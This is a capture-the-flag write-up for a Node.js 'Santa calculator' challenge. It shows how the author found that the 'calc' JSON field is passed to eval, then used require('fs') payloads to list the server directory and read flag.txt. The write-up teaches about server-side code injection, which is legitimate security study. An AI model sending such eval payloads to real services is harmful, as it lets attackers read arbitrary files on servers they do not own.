• Points: 1800

Description

We created a calculator for Santa to figure out how many days until Christmas remain. It is not finished yet, it will only return what you give it. Sort of. The flag is in flag.txt.

Visit https://18.adventofctf.com to start the challenge.

Recon

Upon opening the challenge website we’re greeted with an input field which asks us to “enter the nr of days until christmas”.

When opening the source of the page we also find some javascript code:

function send() {
  let calc = $("#calc")[0].value;
  if (calc.length > 0) {
    $.ajax({
      url: "/calc",
      type: "POST",
      data: '{"calc": "' + calc + '" }',
      contentType: "application/json; charset=utf-8",
      dataType: "json",
    }).always(function (data) {
      text = data;
      if (data.responseText) {
        text = data.responseText;
      }
      $("#msg")[0].innerHTML = "<b>" + text + "</b>";
    });
  }
}

As the description tells us it’s a calculator, let’s try entering 3+4 in the input field. It will make a POST request to /calc, which will return 7.

Finding the vulnerability

If we capture the request with a proxy like Burp, we can see it sends a POST request with some JSON data. It looks like this:

{
  "calc": "3+4"
}

To find out how the calculator works internally we can try to send some data it doesn’t expect to try to break it. An example would be sending an empty post request.

If we try that we get the following error back:

TypeError: Cannot read property 'toString' of undefined
    at /opt/app/server.js:14:13
    at Layer.handle [as handle_request] (/opt/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/opt/app/node_modules/express/lib/router/route.js:137:13)
    at /opt/app/node_modules/body-parser/lib/read.js:130:5
    at invokeCallback (/opt/app/node_modules/raw-body/index.js:224:16)
    at done (/opt/app/node_modules/raw-body/index.js:213:7)
    at IncomingMessage.onEnd (/opt/app/node_modules/raw-body/index.js:273:7)
    at IncomingMessage.emit (events.js:203:15)
    at endReadableNT (_stream_readable.js:1145:12)
    at process._tickCallback (internal/process/next_tick.js:63:19)

This hints at a NodeJS Express server, but it does not give us much information about the calculation besides a toString which would be unnecessary if the output would always be a number. This could hint at an eval vulnerability.

A NodeJS Express server often has a res variable to which the request result is written. Let’s try to get it by entering it in de input field.

{
  "calc": "res"
}

The result is [object Object] which means the input is evaluated.

Exploit

Now we know the input is evaluated, we can try to read the flag. To find the file, let’s try to list the directory contents.

In NodeJS we can do this by using the fs module and using the readdirSync() function. The resulting code would be require('fs').readdirSync('.').

The resulting request:

{
  "calc": "require('fs').readdirSync('.')"
}

This gives us the following result:

flag.txt,node_modules,package-lock.json,package.json,public,server.js

Now that we know the location of the flag (flag.txt), we can use the readFileSync() function to read the file:

{
  "calc": "require('fs').readFileSync('flag.txt')"
}

Solution

We got the flag! It is NOVI{N3v3r_us3_eval}.